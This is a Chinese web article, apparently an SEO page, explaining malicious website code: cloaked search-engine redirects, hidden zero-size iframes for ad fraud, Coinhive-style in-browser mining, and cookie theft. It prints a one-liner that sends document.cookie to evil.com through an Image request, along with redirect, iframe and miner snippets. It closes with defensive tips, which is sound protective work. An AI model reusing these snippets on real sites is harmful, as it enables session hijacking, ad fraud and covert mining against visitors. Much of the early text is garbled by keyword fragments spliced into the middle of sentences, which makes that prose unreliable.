当前位置:首页 > 热点

不健康网站代码推荐

上个月帮一个做运维的不健朋友清理服务器日志,发现有个域名每天固定时间往境外IP传数据。康网查下来是站代个菠菜站的前端脚本,代码写得稀烂,码推但藏得挺深——把核心逻辑拆成七八个JS文件,不健用base64来回套,康网还伪装成Google Analytics的站代请求路径。这种就是码推典型的“不健康网站代码”,不是不健指写得多烂,而是康网它专门干些见不得光的事。

先说个最常见的站代:暗链跳转。你打开一个正常页面,码推鼠标没点任何东西,不健几秒后自动跳到另一个站。康网原理简单到可笑——就一行setTimeout(function(){ window.location.href='xxx'},站代3000)。但他们会加个判断,检测来路是不是搜索引擎。如果是百度或谷歌的爬虫,就老老实实显示正常内容;如果是普通用户,就跳。这种代码在那些卖保健品、办假证的站上特别多。我见过一个更绝的,用document.referrer判断,如果来路是微信内置浏览器,直接弹出一个“已停止访问该网页”的假提示,然后引导用户点右上角用浏览器打开——打开就是赌博页面。

还有一种叫“流量劫持脚本”。你访问A站,它偷偷在后台加载B站的iframe,尺寸设为0,你根本看不见。但B站的广告收益算到了A站头上。这种代码通常长这样:<iframe src="http://xxx.com" style="width:0;height:0;border:0"></iframe>。更狠的会动态创建iframe,用document.createElement,加载完再删掉,你查DOM都查不到。去年有个做独立博客的朋友中招,他服务器被入侵后,每个页面底部都被注入了一段加密的JS,解密后就是干这个的。他流量不大,但一个月被刷了十几万次广告展示。

再说个跟钱直接相关的:挖矿脚本。前几年门罗币火的时候,很多小网站被挂上Coinhive的代码。用户一打开网页,CPU直接飙到100%。代码就几行,var miner = new CoinHive.Anonymous('site-key'); miner.start();。后来CoinHive关了,但类似的变种还在。我上个月在一个盗版电影站上就碰到了——页面加载后风扇狂转,打开任务管理器一看,浏览器进程占了70%的CPU。查源码发现他们把挖矿逻辑写进了Web Worker里,藏在worker.js中,主线程根本看不出来。

还有一类专门偷Cookie的。代码会遍历document.cookie,然后通过Image对象把数据发出去:new Image().src='http://evil.com/steal?c='+encodeURIComponent(document.cookie)。为什么用Image?因为图片请求不受跨域限制,而且不会阻塞页面。这种手法老掉牙了,但依然有效。很多论坛的XSS漏洞被利用后,注入的就是这种代码。你登录状态还在,但会话已经被人拿走了。

说这些不是教你使坏。恰恰相反,你知道了这些套路,才能防。比如浏览器装个NoScript或者uBlock Origin,能拦掉大部分。再比如,看到网页源代码里出现eval(atob(这种组合,基本可以断定有问题——正常业务代码不会这么写。还有,如果你是个站长,定期用grep -r "iframe" ./搜一下自己的模板文件,看看有没有宽高为0的iframe。

最后提个醒:别去下载那些“不健康网站代码推荐”的打包资源。我见过一个所谓的“菠菜站源码”,解压后里面有个install.php,运行时会先连远程服务器拉取后门。你以为是你在用代码,其实是代码在用你。这类东西,碰都别碰。

分享到: